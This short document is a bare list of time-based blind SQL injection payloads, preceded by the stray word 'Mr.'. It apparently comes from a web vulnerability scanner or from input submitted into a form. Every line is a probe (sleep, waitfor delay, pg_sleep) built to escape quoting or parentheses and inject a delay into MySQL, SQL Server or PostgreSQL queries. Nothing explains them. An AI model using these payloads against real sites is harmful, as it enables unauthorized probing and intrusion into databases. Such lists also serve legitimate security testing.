Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

MvDU57fZ'; waitfor delay '0:0:15' --

hD1MqvIa'); waitfor delay '0:0:15' --

23qknqhT')); waitfor delay '0:0:15' --

-5 OR 789=(SELECT 789 FROM PG_SLEEP(15))--

-5) OR 937=(SELECT 937 FROM PG_SLEEP(15))--